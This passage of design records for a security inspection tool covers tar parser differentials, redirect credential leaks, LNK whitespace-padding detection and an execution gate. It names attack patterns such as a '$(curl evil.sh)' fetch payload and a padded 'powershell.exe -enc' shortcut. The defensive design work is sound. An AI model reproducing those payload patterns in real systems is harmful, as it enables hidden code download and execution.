| AI cluster present without CDXA / SPDX AI tag | Drop AI clusters, accept rest | sbom.ai_clusters empty with drop_reason |
| Signed CSAF, signature invalid | Accept content, mark provenance: incomplete | csaf.signature: invalid recorded |
Consequences
- Ingestion adds four format-specific parsers to the policy / provenance boundary. Each parser is bounded (time, memory, size) per invariant 4. All parsers reject without side effects on the rest of the pipeline.
- Receipts grow a structured
sbomenvelope with format, source URL or digest, AI clusters, and dropped-extension reasons. The envelope is signed via the existing JCS pipeline (ADR-0014, ADR-0023). - GUAC ingest (ADR-0025) gains a richer projection: each SBOM node carries CISA 2025 minimum elements and SBOM-for-AI cluster metadata (all seven clusters: Metadata, System Level Properties, Models, Dataset Properties, Infrastructure, Security Properties, KPI).
- The format profiles are versioned. A new format major version (CycloneDX 2.0, SPDX 3.0, CSAF 3.0) requires a superseding ADR.
- EU CRA compliance is informational only. ADR-0026 remains the authoritative mapping; this ADR adds the SBOM-shape contract.
Alternatives considered
- Generate SBOMs alongside ingestion: duplicates ADR-0026’s
cargo-cyclonedxplan and adds per-ecosystem generators for npm, pnpm, uv, and PyPI. Each is a separate dependency admission and signing flow. Out of scope for ingestion-only policy. - Single-format profile (CycloneDX only): forces upstream producers to translate. SPDX and CSAF are both mandated in EU and US federal contexts; rejecting them pushes work to the operator.
- Accept SPDX Lite: drops hashes and the dependency graph, both required by the 2025 minimum elements. Rejected.
- Project AI clusters into the verdict directly: violates invariant 22 (advisory data never authorizes release). AI clusters are receipt metadata, not verdict inputs.
- Use CSAF 2.0 (predecessor): lacks the ISO/IEC 20153:2025 lock-in and the structured VEX projection. CSAF 2.1 is current and canonical.
References
- CISA SBOM Minimum Elements (August 2025 public-comment draft): https://www.cisa.gov/resources-tools/resources/minimum-elements-software-bill-materials-sbom (subject to change during public-comment period)
- CISA + G7 SBOM for AI Minimum Elements (May 2026): https://www.cisa.gov/resources-tools/resources/software-bill-materials-ai-minimum-elements
- EU Cyber Resilience Act Reg 2024/2847, Annex I Part II: https://eur-lex.europa.eu/eli/reg/2024/2847/oj/eng
- CycloneDX 1.6 specification: https://cyclonedx.org/specification/cyclonedx-1.6/
- CycloneDX ML/AI Bill of Materials (CDXA): https://cyclonedx.org/specification/overview/#machine-learning-bom-ml-bom
- CycloneDX Cryptography Bill of Materials (CBOM): https://cyclonedx.org/specification/overview/#cryptography-bom-cbom
- SPDX 2.2.1 (ISO/IEC 5962:2021): https://www.iso.org/standard/82791.html (ISO catalogue)
- OpenVEX 0.2.0: https://github.com/openvex/spec
- OASIS CSAF 2.0 (ISO/IEC 20153:2025): https://docs.oasis-open.org/csaf/csaf/v2.0/csaf-v2.0.html
- OASIS CSAF 2.1 (Committee Specification Draft 02, Feb 2026; not yet ISO-published): https://docs.oasis-open.org/csaf/csaf/v2.1/csaf-v2.1.html
- ADR-0023 in-toto Statement receipt envelope
- ADR-0025 OpenSSF Scorecard, deps.dev, and GUAC as optional integrations
- ADR-0026 EU CRA / NIST SSDF informational compliance mapping
- ADR-0029 OpenVEX ingestion details (forward reference; opens when OpenVEX work is implemented)
- Spec §19.5, §19.7
ADR 0031: OpenSSF malicious-packages feed via OSV.dev
Status: Accepted Date: 2026-07-20 Issue: #474
Context
Spec §21 extends Arbitraitor’s intelligence model with package-reputation
feeds. OpenSSF’s malicious-packages repository publishes package malware
records as OSV advisories with identifiers in the MAL-YYYY-NNNN family.
OSV.dev exposes those records through the same API surface used for other
package advisories, including the /v1/querybatch endpoint for package and
version batches.
This matters for npm because npm v11.10 added --min-release-age, making
freshly published packages a first-class risk-control axis. Arbitraitor needs
to ingest OpenSSF MAL- identifiers as explicit intelligence indicators so
package-manager policy can combine age gating with malicious-package evidence.
Decision
Arbitraitor treats OpenSSF malicious-packages as a bundled Tier-1 intelligence
feed named ossf-malicious-packages.
- The adapter consumes OSV.dev
querybatchJSON responses and emits one signed-feed entry for eachMAL-advisory. MAL-identifiers are parsed into theOsvMalIdnewtype before entering the domain model. Invalid or non-MAL-OSV advisories are not promoted to OpenSSF malicious-package entries.- Entries use
IndicatorType::OsvMalandFeedSourceClass::OssfMaliciousPackages, withBlockdisposition,Highseverity, andConfirmedconfidence. - Network access remains off by default. Fetching happens only when an
operator runs
arbitraitor intel update --ossf-malicious-packagesor points the adapter at a signed mirror URL. - Feed retrieval continues through
arbitraitor-fetchand the existing local intel store ingestion path so SSRF policy, byte limits, TLS policy, and signed-store handling remain centralized.
Signing scheme
The OpenSSF/OSV response is source data, not Arbitraitor trust metadata. During
ingestion, Arbitraitor converts parsed MAL- records into its local
SignedFeedEntry scheme: each normalized FeedEntry is canonicalized with
the same JSON/RFC 8785 discipline used for receipts and signed by the
configured intel feed key before distribution in bundled feed snapshots.
Online updates may fetch OSV.dev directly, but redistributable bundled feeds must be signed Arbitraitor feed snapshots. Consumers verify the bundled snapshot signature before using entries for blocking policy.
Freshness requirements
Freshness mirrors OSV.dev’s malicious-package update cadence. The OpenSSF
malicious-packages feed is considered Tier-1 current when the local signed
snapshot was built from OSV data updated within the last 24 hours. Operators
may shorten this interval for npm enforcement profiles that combine MAL-
matches with npm --min-release-age checks.
Stale or unavailable OpenSSF malicious-package data never creates a clean result. Enforcement that requires current Tier-1 package intelligence must fail closed; advisory-only configurations may continue with an explicit incomplete-intel diagnostic.
Batch endpoint limits
The adapter targets OSV.dev /v1/querybatch, which accepts a batch of package
queries and returns a parallel results array. Arbitraitor callers must bound
batch size and payload size before fetch:
- split package inventories into deterministic batches;
- preserve result-to-query order for diagnostics;
- apply the same byte, timeout, redirect, TLS, and SSRF limits as other feed retrieval;
- skip non-
MAL-advisories from mixed OSV responses instead of treating them as malicious-package IDs.
Consequences
- OpenSSF malicious packages become explicit, type-safe intel indicators rather than free-form advisory strings.
- npm policy can combine release-age controls with OSV-backed malicious package evidence.
- No new production dependency is required; parsing uses existing
serdeand retrieval uses the existingFetcherboundary. - OSV.dev API changes that alter response shape fail as feed decode errors, preserving fail-closed behavior for enforcement policies.
Alternatives considered
- Read the OpenSSF GitHub repository directly: rejected because OSV.dev is the stable advisory API surface and already normalizes package ecosystem metadata.
- Treat
MAL-as generic advisory IDs: rejected because malicious-package IDs have different enforcement semantics from CVE/GHSA vulnerability advisories and need a distinct indicator type. - Enable live network lookups during artifact inspection: rejected because feed retrieval must remain explicit and policy-bounded, with cached signed feed snapshots available for offline operation.
References
- Spec §21.1, §21.4, §21.5
- ADR-0025 OpenSSF Scorecard, deps.dev, and GUAC as optional integrations
- OpenSSF blog: https://openssf.org/blog/2026/05/20/detecting-malicious-packages-using-the-osv-api/
- OpenSSF malicious-packages: https://github.com/ossf/malicious-packages
- OSV API: https://api.osv.dev/v1/querybatch
ADR 0032: Tar parser consensus check
Status: Accepted Date: 2026-07-20 Issue: #459
Context
Tar archives have multiple metadata layers that can alter how later entries are
interpreted. PAX extended headers (x and g) carry key-value records such as
size=, while GNU long-name/long-link headers (L and K) and further PAX
headers may appear between that metadata and the eventual file entry.
POSIX says PAX records apply to the file entry, not to intermediary extension
headers. Vulnerable parsers have instead applied size= to an intermediary
header, consuming a different number of bytes and desynchronizing the rest of
the stream. That is a CWE-436 parser differential: one scanner can report a
clean member set while a different extractor observes and releases another.
Relevant public cases include:
- GHSA-vmf3-w455-68vh / CVE-2026-53655 (
node-tarPAXsize=parser split). - GHSA-3pv8-6f4r-ffg2 (
tar-rsPAX header desynchronization, fixed in 0.4.46). - GHSA-9ppj-qmqm-q256 / CVE-2026-31802 (
node-tarsymlink drive-relative traversal). - CVE-2025-45582 (GNU tar two-step
../symlink traversal).
Hardening only the primary parser is not enough for Arbitraitor. Invariant 1 requires no release before inspection, and inspection must match what downstream extractors will see. Invariant 4 also requires bounded parsing, so any added check must avoid unbounded archive expansion.
Decision
Arbitraitor keeps tar-rs as the primary tar parser and requires the locked
crate version to be at least 0.4.46. The archive detector also runs a bounded
consensus scanner over raw tar blocks after primary parsing.
The consensus scanner is intentionally narrow rather than a full second tar
implementation. It walks 512-byte tar headers under the same file-count,
byte-count, depth, and wall-clock limits as normal archive inspection. It emits
FindingCategory::ParserDifferential when either:
- a PAX
size=record is pending and an intermediaryL,K,x, orgextension header appears before the next file entry; or - the primary parser’s member list differs from the bounded consensus member list.
These findings carry the parser-smelting hazard tag, severity Medium (the
policy layer may elevate it), and a CWE-436 taxonomy reference. The finding is
recorded in receipts, and normal verdict calculation refuses automatic release
because the artifact is no longer clean.
arbitraitor doctor reports the locked tar crate version and marks the system
unhealthy if it is below 0.4.46 or absent from Cargo.lock.
Consequences
- Parser smelting is distinct from path traversal: traversal describes where an agreed entry writes; smelting describes disagreement over which entries exist.
- The check is fail-closed. A consensus-parser failure becomes a parser differential finding rather than a clean result.
- The scanner does not add a production dependency or call out to a host
tar/libarchivebinary, preserving reproducible local analysis. - The scanner is not a general-purpose extractor. It exists only to catch consensus hazards and member-list disagreement under bounded processing.
Alternatives considered
Rely only on patched tar-rs
Rejected. Pinning 0.4.46 fixes the known tar-rs PAX desync, but does not prove that the scanner and every downstream extractor share identical membership semantics for future extension-header combinations.
Add libarchive as a second parser
Rejected for this change. It would add a native dependency and build/runtime surface requiring the dependency admission checklist. The current vulnerability class is detectable with a bounded raw-header cross-check and member-list comparison.
Shell out to Python tarfile or system tar
Rejected. Host tools vary by platform and version, and subprocess execution is unnecessary for a deterministic parser-consensus guard.
References
- Arbitraitor spec §19.1, parser consensus check.
- Arbitraitor spec §19.3, archive hazards.
- CWE-436: Interpretation Conflict.
- GHSA-3pv8-6f4r-ffg2,
tar-rsPAX header desynchronization. - GHSA-vmf3-w455-68vh / CVE-2026-53655.
- GHSA-9ppj-qmqm-q256 / CVE-2026-31802.
- CVE-2025-45582.
ADR 0033: Fetch cross-protocol credential secrecy
Status: Accepted Date: 2026-07-20 Issue: #472
Context
CVE-2025-14524 showed that a fetch transport can mishandle redirects from
HTTP(S) URLs carrying OAuth2 bearer credentials into non-HTTP protocols such as
IMAP, LDAP, POP3, or SMTP. Even when the first request is safe, a permissive
redirect stack can reinterpret bearer, cookie, or default .netrc credentials
as protocol credentials for the destination scheme.
Arbitraitor already blocks unsupported schemes and records redacted redirect
chains. It also keeps reqwest behind arbitraitor-fetch so transport policy
does not leak into callers. The missing piece was an explicit credential
secrecy outcome that records why a credential-bearing cross-protocol redirect
failed closed.
Decision
Arbitraitor fetch policy blocks every credential-bearing redirect from http or
https into imap, ldap, pop3, smtp, ftp, file, gopher, or smb
before the destination request is constructed. This rule is stricter than
client defaults and applies before general scheme validation so diagnostics can
identify the credential-secrecy class instead of only reporting an unsupported
scheme.
Fetch metadata records RedirectCredentialSecrecy:
okwhen no credential-bearing cross-protocol redirect was observed.bearer_leakedwhen anAuthorizationbearer value would have crossed the protocol boundary.cookie_leakedwhen aCookievalue would have crossed the protocol boundary.netrc_default_leakedwhen a caller-declared default.netrctoken would have crossed the protocol boundary.
Canonical receipts expose this outcome through optional retrieval metadata. The
field is skip_serializing_if = "Option::is_none" per ADR-0014 so receipts that
do not set it retain stable canonical bytes. Pipelines that have fetch metadata
set the field, including the ok outcome, so new receipts explain redirect
credential handling. This also aligns with ADR-0023: the in-toto Statement
envelope carries the same canonical receipt predicate and therefore records the
transport secrecy decision without a second schema.
Consequences
- Credential-bearing cross-protocol redirects fail closed before any outbound request reaches the non-HTTP target.
- Error messages and receipts record only the credential class, never the raw credential value.
- Existing callers that do not configure credentials continue to see ordinary scheme-policy failures for unsupported redirect targets.
- Future compatibility tests for
reqwest,hyper,ureq, andneqocan use the recorded outcome as the matrix assertion for spec §43.7.
Alternatives considered
- Rely on the HTTP client redirect policy. Rejected because CVE-2025-14524 is a client-default failure mode; Arbitraitor must enforce this boundary itself.
- Strip credentials and continue into the destination protocol. Rejected because Arbitraitor’s fetcher is an HTTP retrieval component; cross-protocol redirects into mail, directory, file, or SMB protocols are outside its trust envelope.
- Record only an error string. Rejected because receipts need a stable, machine-readable field for compatibility matrices and audit queries.
References
- Spec §11.4 redirect handling
- Spec §43.7 cross-protocol redirect compatibility matrix
- ADR-0014: Receipt canonicalization (RFC 8785 JCS)
- ADR-0018: SSRF, proxy, and connected-peer verification
- ADR-0023: in-toto Statement receipt envelope
- CVE-2025-14524: curl OAuth2 bearer token cross-protocol redirect leak
- CVE-2025-0167: curl
.netrcdefault-token leak
ADR 0034: Apple Containerization GA strategy for macOS 26+
Status: Proposed Date: 2026-07-20 Issue: #475 Supersedes: ADR-0024 (defers the GA replacement for the Endpoint Security caveat)
Context
ADR-0024 left macOS containment deferred pending a documented replacement for
the deprecated sandbox-exec. It cited Apple Containerization
issue 737 as an open
research question and pinned the recommendation to the Endpoint Security
framework (ES) for observation-only events, with contained assurance
unsupported.
Apple open-sourced the Containerization Swift framework at WWDC 2025-06-09
(WWDC25 session 346,
apple/containerization). It is the
basis of the container CLI shipping with macOS 26 and exposes per-container
virtual machines with the following properties:
- One lightweight VM per Linux container — no shared kernel, no shared filesystem, no shared network namespace.
- Sub-second start times — kernels are cached, root file systems are
thin-provisioned EXT4 block devices, and
vminitis replaced with a purpose-built minimal init. - Isolated IP — each container receives a unique IPv4/IPv6 address on a host-side virtual network; the host-side bridge is the only shared surface.
- Linux backend via
cloud-hypervisor+ KVM — the same library can run on Linux hosts that expose/dev/kvm, which is relevant for cross-platform testing of the containment path even when Arbitraitor’s primary macOS deployment is on Apple silicon. - Per-container EXT4 block device — rootfs is a disk image, not an
overlay;
mkfs.ext4runs on first write, and writes go to a per-container copy-on-write image.
These properties map directly onto the controls required for
ADR-0007 contained
assurance:
| ADR-0007 control | Containerization primitive |
|---|---|
| Filesystem isolation | Per-container EXT4 block device |
| Process-tree containment | Per-container lightweight VM (no shared kernel) |
| Network policy | Per-container IP on host-side bridge |
| Resource limits | cloud-hypervisor VM resource constraints |
| Privilege suppression | VM boundary — no host-side privilege to elevate |
| Capability probe | container CLI inspect / runtime introspection |
Because the VM is the trust boundary, Containerization does not require System Extension installation, Developer ID signing, notarization, or end-user install consent — eliminating the heaviest barriers flagged in ADR-0024.
Spec §27.4 still treats Apple Containerization as “no documented replacement”
because the upstream issue 737
remained unresolved when ADR-0024 was drafted. The June 2025 GA changes that
citation and unblocks macOS contained assurance.
Decision
macOS containment strategy on macOS 26 and newer is:
- Preferred path — Apple Containerization (
containerCLI + Swift framework). Each contained execution runs inside a Containerization VM. The adapter is gated on macOS 26+ and Apple silicon (aarch64-apple-darwin) with a feature-detected probe (not a hard compile-time gate). - Observation-only path — Endpoint Security framework (unchanged from
ADR-0024). Remains the supported fallback on macOS 13–15 and when
Containerization is unavailable (older hardware, virtualization disabled,
IT policy disallowing
containerCLI). - Containment deferred on macOS 13–15 and Intel macOS.
containedassurance requests on those hosts continue to downgrade tomediated(orblockper policy) per ADR-0024.
Containment flow
flowchart TD
A[Run request with contained assurance] --> B{Host OS check}
B -- macOS 26+ Apple silicon --> C{Containerization probe}
B -- macOS 13-15 or Intel --> X[Downgrade to mediated per ADR-0024]
B -- Linux / Windows --> Y[Existing Landlock / Windows adapter path]
C -- available --> D[Spawn containerized VM]
C -- unavailable --> Z[Observation-only via Endpoint Security]
D --> E[Per-container EXT4 block device]
D --> F[Per-container IP on host bridge]
D --> G[Sub-second cold start from cached kernel]
D --> H[Execute artifact bytes inside VM]
H --> I[Record ContainerizationAdapter receipt field]
H --> J[emit RFC 8785 JCS receipt]
Z --> J
Y --> J
Migration path from ADR-0024
- Existing macOS deployments running
containedrequests see no change — they continue to downgrade tomediatedon macOS 13–15. - macOS 26+ users opt into Containerization by installing the
containerCLI and configuring the Arbitraitor sandbox backend (arbitraitor doctorsurfaces Containerization availability alongside Landlock probing). - Receipt field
containerization_available: boolis added to the effective-controls matrix (§27.7) for macOS runtimes so downstream auditors can distinguishcontained-on-containerizationfromcontained-on-other-adapter.
Out of scope for this ADR
- The Swift-side binding to the Containerization framework (lives behind
a small FFI shim in
arbitraitor-sandbox). Tracked as a follow-up issue. - A
containerCLI shim path for hosts that cannot run the Swift framework (e.g. macOS 26 on Intel). Not part of the GA story; revisit if Apple ships an Intel backport. - Cross-host container migration. Containerization does not yet support live migration; the architecture assumes a single-host trust boundary.
Consequences
- macOS 26+ users can claim
containedassurance for the first time (previously capped atmediatedorblockper policy). - Two macOS sandbox backends coexist:
ContainerizationAdapter(macOS 26+ Apple silicon) andEndpointSecurityAdapter(observation-only, all macOS versions). Receipts distinguish them. arbitraitor doctorgains a Containerization probe section that reports framework version, CLI availability, virtualization support, and last probe timestamp.- The ADR-0024 deferral becomes obsolete for macOS 26+ hosts but remains valid documentation for macOS 13–15 and Intel macOS. ADR-0024 is not formally superseded; this ADR is a forward-looking strategy update and a follow-up ADR will supersede ADR-0024 once the ContainerizationAdapter ships.
- No new dependency on the Swift toolchain at the Arbitraitor Rust build
layer — the Swift framework is invoked through the user-installed
containerCLI, matching howYARA-Xis invoked today.
Alternatives considered
- Continue deferring macOS
containedon all macOS versions. Status quo from ADR-0024. Rejected: Containerization GA makes the deferral gratuitous on macOS 26+. - Mandate Containerization for
containedon all macOS hosts. Would drop macOS 13–15 and Intel macOS from the supported surface. Rejected: too aggressive for a single WWDC cycle; users on older hosts still need a documented path. - Replace Endpoint Security framework entirely with Containerization.
Rejected: ES is still required for
inspectassurance (observation events) and forcontainedon macOS 13–15. The two are complementary, not substitutes. - Run
containerCLI inside a disposable VM under Virtualization.framework. Doubles the VM overhead and adds no isolation benefit over Containerization’s own VM boundary. Rejected.
References
- Apple Containerization framework
containerCLI technical overview- WWDC25 session 346 — Meet Containerization
- Apple newsroom — developer tools announcement (June 2025)
- Apple Containerization issue 737 — sandbox-exec replacement (historical)
- ADR-0007 — assurance levels model
- ADR-0024 — macOS containment strategy (this ADR supersedes the GA-replacement deferral; ADR-0024 remains the binding decision for macOS 13–15 and Intel)
- ADR-0028 — Landlock ABI probe and receipt recording
- Spec §27.4 (macOS containment), §27.7 (effective-controls matrix)
ADR 0035: LNK argument padding detection (CVE-2025-9491)
Status: Accepted Date: 2026-07-20 Issue: #473
Context
CVE-2025-9491 is a Windows Shortcut (.lnk) UI-misrepresentation defect. When
the COMMAND_LINE_ARGUMENTS field in an MS-SHLLINK shortcut begins with 260 or
more whitespace characters, the Windows Explorer Properties dialog truncates the
display before the real command becomes visible. A user inspecting a shortcut
that appears to invoke notepad.exe may not see that the arguments field
actually carries powershell.exe -enc <payload> after the padding.
Microsoft declined to fully patch the underlying rendering behavior. A partial mitigation shipped in June 2025, and ACROS Security released a 0patch micropatch. Because the defect is in the rendering layer and not the shortcut loader, host mitigations alone do not guarantee that every downstream reviewer sees the true command. Arbitraitor must detect the pattern at inspection time so a finding is raised before any release or execution decision.
Spec §19.1 lists archive formats and §15.3 describes suspicious script behavior,
but neither section names .lnk as a content class nor describes a
whitespace-padding detection rule. This ADR fills both gaps.
Decision
Arbitraitor adds ArtifactType::WindowsShortcut as a first-class content class
in arbitraitor-artifact. The classifier detects the MS-SHLLINK header magic
(HeaderSize field equal to 0x0000004C at offset 0) and returns the new
variant at Confidence::Confirmed.
A new arbitraitor_artifact::lnk module implements a bounded, pure-Rust
MS-SHLLINK parser. The parser:
- Validates the
ShellLinkHeader(76 bytes,HeaderSize == 0x4C). - Reads the
Flagsfield at offset0x14. - Skips the optional
LinkTargetIDList(whenHasLinkTargetIDListis set) using its 2-byteIDListSizeprefix. - Skips the optional
LinkInfosection (whenHasLinkInfois set andForceNoLinkInfois clear) using its 4-byteLinkInfoSizeprefix. - Walks the
StringDatasection in spec order (NAME_STRING,RELATIVE_PATH,WORKING_DIR,COMMAND_LINE_ARGUMENTS,ICON_LOCATION) and extractsCOMMAND_LINE_ARGUMENTSwhen theHasArgumentsflag is set. - Decodes the string as UTF-16LE when the
Unicodeflag is set, or as ASCII otherwise.
When the extracted COMMAND_LINE_ARGUMENTS field begins with 260 or more
consecutive whitespace characters, the inspector emits a finding with:
id:artifact.lnk-argument-paddingcategory:FindingCategory::SuspiciousScriptBehavior(spec §15.3)severity:Highconfidence:Confirmedreferences: CVE-2025-9491tags:cve-2025-9491,lnk,ui-misrepresentation
The threshold of 260 characters matches the Windows Explorer Properties dialog truncation point identified by ACROS Security. The parser is cross-platform: it uses pure byte manipulation and never calls Windows APIs, so detection works on Linux and macOS inspection hosts.
The parser is bounded per spec invariant 4. LinkTargetIDList,
LinkInfo, and each StringData string are rejected when their declared
sizes exceed 64 KiB or extend past the input. The parser never executes the
shortcut target and never writes bytes outside the CAS quarantine.
Consequences
.lnkartifacts are classified asWindowsShortcutatConfirmedconfidence, so policy rules can gate shortcuts without a separate detector.- Shortcuts with padded arguments raise a
SuspiciousScriptBehaviorfinding that participates in normal verdict calculation. A clean shortcut produces no finding. - The parser does not validate the full MS-SHLLINK structure. It extracts only
the
COMMAND_LINE_ARGUMENTSfield needed for CVE-2025-9491 detection. Future detectors that need the target path, icon location, or environment variables can extend the parser without changing the content class. - The 260-character threshold is a detection heuristic, not a format requirement. Legitimate shortcuts with long but visible arguments are not flagged because the rule requires leading whitespace, not total length.
- No new production dependency is added. The parser uses
arbitraitor-modeltypes andsha2(already in the crate manifest) and is#![forbid(unsafe_code)].
Alternatives considered
Shell out to a Windows-only tool
Rejected. Arbitraitor inspection hosts run on Linux and macOS. A Windows-only
parser would make .lnk detection non-portable and introduce a subprocess
dependency for a deterministic byte-format check.
Add a lnk crate from crates.io
Rejected for this change. The MS-SHLLINK fields needed for CVE-2025-9491 detection are a header, two optional skip sections, and one counted string. A bounded pure-Rust parser is smaller than the admission checklist cost of a new dependency. This decision can be revisited if future detectors need full MS-SHLLINK coverage (target path, environment variables, extra data).
Detect any whitespace run, not just leading whitespace
Rejected. The CVE-2025-9491 pattern is leading whitespace that pushes the real command out of the visible area. A whitespace run in the middle of an argument list is not the same defect and would produce false positives.
Set the threshold at 259 characters
Rejected. The ACROS Security analysis and the Windows Explorer rendering limit point to 260 as the truncation width. Using 260 keeps the detector aligned with the observed defect and avoids off-by-one ambiguity.
References
- Arbitraitor spec §19.1, content classes.
- Arbitraitor spec §15.3, suspicious script behavior.
- CVE-2025-9491: Windows Shortcut LNK UI misrepresentation.
- ACROS Security 0patch micropatch for CVE-2025-9491.
- MS-SHLLINK: Shell Link (.lnk) Binary File Format.
- ADR-0032: Tar parser consensus check (precedent for bounded pure-Rust parser).
ADR 0036: run pipeline content-type execution gate
Status: Accepted Date: 2026-07-20 Issue: #612
Context
Before this decision, arbitraitor run <url> selected an execution mode with
a single boolean check:
#![allow(unused)]
fn main() {
let mode = if artifact.is_native {
ExecutionMode::Native
} else {
ExecutionMode::Script
};
}
is_native matched only PeExecutable, ElfExecutable, and
MachOExecutable (per is_native_artifact in run_services.rs). Every
other classified ArtifactType — including HtmlDocument, JsonDocument,
XmlDocument, GenericText, GenericBinary, archives, compressed
payloads, PowerShellScript, PythonScript, JavaScript, and Unknown —
fell through to ExecutionMode::Script and was piped through
/bin/bash --noprofile --norc as if it were a shell script.
This caused two compounding problems, reported in #612:
-
Unsafe and incorrect execution. HTML, JSON, XML, and other text/markup can incidentally contain bash-parseable constructs (
$(...),</>redirections,|pipes, backticks). Piping such bytes to bash amounts to executing whatever bash interpretation falls out of the content. The user who runsarbitraitor run https://qlty.shdoes not expect the 39 KB HTML response to be fed to bash, and an attacker who controls the response body can deliver PowerShell-as-bash-as-$(curl evil.sh)payloads that bypass the inspection verdict (the bytes scanned are not the bytes that bash runs — bash re-parses them under different rules than the shell analyzer). -
Diagnostic loss on early child exit. When the interpreter process exited before consuming the streamed script bytes (
EPIPEon the stdin pipe — e.g. becauseunshare --userwas denied, or because bash rejected the input as a parse error and exited 1),ScriptExecution::executereturnedExecError::ScriptIo { stage: "write-script-stdin", source }without ever reading the child’s stderr. The actual root cause (whatever bash orunshareprinted to stderr) was silently discarded, leaving the user with a generic “script input I/O failure” message and no clue whether the cause was “I gave bash junk”, “my kernel denies user namespaces”, or “Landlock blocked the interpreter path”.
The diagnostic-loss bug also affected legitimate shell-script execution: a
shell script that exited early (e.g. on set -e followed by a failing
command) produced the same misleading write-script-stdin failure even
though the script bytes WERE valid bash, because bash exited before draining
the parent’s pipe buffer.
Decision
-
Gate execution by
ArtifactTypein therunpipeline. OnlyArtifactType::ShellScript(_)and the native-executable types (PeExecutable,ElfExecutable,MachOExecutable) are runnable by the currentrunpipeline. All other types — includingPowerShellScript,PythonScript, andJavaScript(whose exec paths exist inarbitraitor-execbut are not wired intorun) — fail closed withRunFailure::Blockedbefore reaching the execution layer.InspectedArtifactnow carriesArtifactTypedirectly (rather than a stringified{:?}form), andexecution_mode_for_type(ArtifactType)is the single source of truth for the runnable-vs-blocked decision. -
Preserve child stderr across
write_all/flushfailures.ExecError::ScriptIonow carrieschild_exit_code: Option<i32>andchild_stderr: Vec<u8>, populated best-effort viaspawn::best_effort_captureafter a write or flush failure. A newExecError::script_ioconstructor renders a stable, boundedchild_detailsuffix (≤1 KiB stderr preview) so theDisplayrepresentation surfaces the real root cause:script input I/O failure during write-script-stdin (child exited 1; stderr: "bash: !DOCTYPE: event not found")orscript input I/O failure during write-script-stdin (child exited before reading stdin; stderr: "unshare: operation not permitted").PowerShellError::ScriptIomirrors the same fields and shares the rendering helper (ExecError::script_io_detail) so PowerShell execution gets the same diagnostic improvement when wired. -
Exit code reused, not added. Non-executable artifacts return the existing
ExitCode::BlockedByPolicy(the same code returned byVerdict::Block). No new exit code is introduced; theblocked by policy: <reason>output line already exists inwrite_failure.
Consequences
-
Safe by default.
arbitraitor runno longer feeds arbitrary text/markup/binary content to bash. Users who want to execute PowerShell, Python, or JavaScript artifacts througharbitraitor runmust wait for those exec paths to be wired intorun_services(tracked separately). -
Better diagnostics. When
arbitraitor runfails during script execution, the user-visible failure message now identifies whether the child exited early (and what it printed to stderr) — distinguishing “user-fed bash junk” from “kernel denied the namespace” from “Landlock blocked the interpreter path”. -
API surface change in
arbitraitor-exec.ExecError::ScriptIoandPowerShellError::ScriptIogain new fields. The project is pre-alpha and the README already documents that “the API, CLI, receipts, and policy schemas will change”, so this is acceptable. A#[must_use]ExecError::script_io(...)constructor is provided so callers don’t have to build thechild_detailfield by hand. -
InspectedArtifactfield shape changes.is_native: boolis removed in favor of deriving native-vs-script fromartifact_type: ArtifactType. Receipt serialization is unaffected (the artifact_type string passed toReceiptBuilder::artifact_typeis generated on demand viaformat!("{:?}", artifact.artifact_type)). -
No regression for existing tests/usage. Shell scripts and native executables continue to execute as before. The content-type gate is a strictly-tighter policy that fails closed on types that previously produced meaningless
write-script-stdinerrors.
Alternatives considered
-
Use
ContentTypefrom fetch metadata (HTTPContent-Typeheader) instead ofArtifactType(content-derived). Rejected: HTTPContent-Typeis attacker-controllable and frequently mislabeled (servers returningapplication/octet-streamfor shell scripts, ortext/plainfor HTML).ArtifactTypeis derived from immutable artifact bytes via shebang / magic-number detection, which is the trust boundary we must gate on. -
Loosen the gate to allow
PowerShellScript/PythonScript/JavaScriptvia the corresponding interpreters. Deferred: wiring those requires interpreter discovery (pwsh,python3,node), path canonicalization, and Landlock rules for the interpreter’s load path. Until that work lands, blocking those types is strictly safer than piping them to bash. A future ADR can extend the gate when those exec paths are wired. -
Add a per-type allowlist policy knob (e.g.
[run] allow_json = true). Rejected: there is no safe execution path for JSON / XML / HTML / archives — even withbash, the result is either a parse error or accidental command execution. There is no scenario where a user should be able to opt into feeding HTML to bash. The gate is a hard rule, not a policy preference. -
Render
child_stderrdirectly in the#[error(...)]format string without a separatechild_detailfield. Rejected:thiserrorformat strings can only reference fields by name; we’d need either a customDisplayimpl or a precomputed field. The precomputedchild_detailapproach keeps the error variant a plain struct and lets the constructor centralize the bounded-rendering policy (1 KiB stderr preview, UTF-8 lossy decode, trailing-whitespace trim).
References
- Issue #612 — bug report with reproduction and root-cause analysis
- ADR-0007 — assurance levels model (gating is a “fail closed” policy)
- ADR-0008 — execution context security profile (the mediated execution boundary this gate sits in front of)
- ADR-0027 — CLI pipeline boundary (the
runmodule this gate lives in) docs/conventions.md— security invariants (fail closed,no early release,safe presentationfor the bounded stderr preview)
ADR 0037: Wasmtime CVE risk register
Status: Accepted Date: 2026-07-23 Issue: #463
Context
Arbitraitor uses Wasmtime as its primary plugin runtime (ADR-0006). The
arbitraitor-plugin-host crate depends on wasmtime with
default-features = false and the cranelift, runtime, component-model,
parallel-compilation, and cache features. The experimental-wasm feature
gate is off by default. The resolved version in Cargo.lock is
wasmtime 46.0.1.
On 2026-04-09 the Bytecode Alliance published a batch of 12 security advisories for Wasmtime. Two are Critical (CVSS 9.0):
- CVE-2026-34971 / GHSA-jhxm-h53p-jm7w — Cranelift aarch64 miscompilation enabling sandbox escape via arbitrary host-memory read/write.
- CVE-2026-34987 / GHSA-xx5w-cvp6-jv83 — Winch compiler backend sandbox-escaping memory access on aarch64.
Both allow a malicious WebAssembly guest module to read or write arbitrary host memory, defeating the sandbox boundary that ADR-0006 relies on for plugin isolation. Spec §41.9.1 governs Wasmtime plugin execution but has no risk register tying compiler/backend selection and version to security guarantees.
This ADR establishes that risk register as a versioned, living document.
Decision
Adopt a versioned Wasmtime CVE risk register cataloging all known advisories from official sources (GitHub Security Advisories, RustSec, NVD/CVE). The register is maintained in this ADR and updated whenever a new Wasmtime advisory is published or the pinned version changes.
Pinned version
| Field | Value |
|---|---|
| Crate | wasmtime |
| Cargo.toml constraint | >=29 |
| Resolved version (Cargo.lock) | 46.0.1 |
| Features enabled | cranelift, runtime, component-model, parallel-compilation, cache |
| Features disabled (default-features = false) | WASI, ambient filesystem, networking, all ambient capabilities |
| Feature gate | experimental-wasm (off by default) |
| Minimum safe version (per issue #463) | 43.0.1 |
Risk register
All advisories below are sourced from the Bytecode Alliance GitHub Security
Advisories page (https://github.com/bytecodealliance/wasmtime/security/advisories)
and the RustSec advisory database (https://rustsec.org/advisories/). The
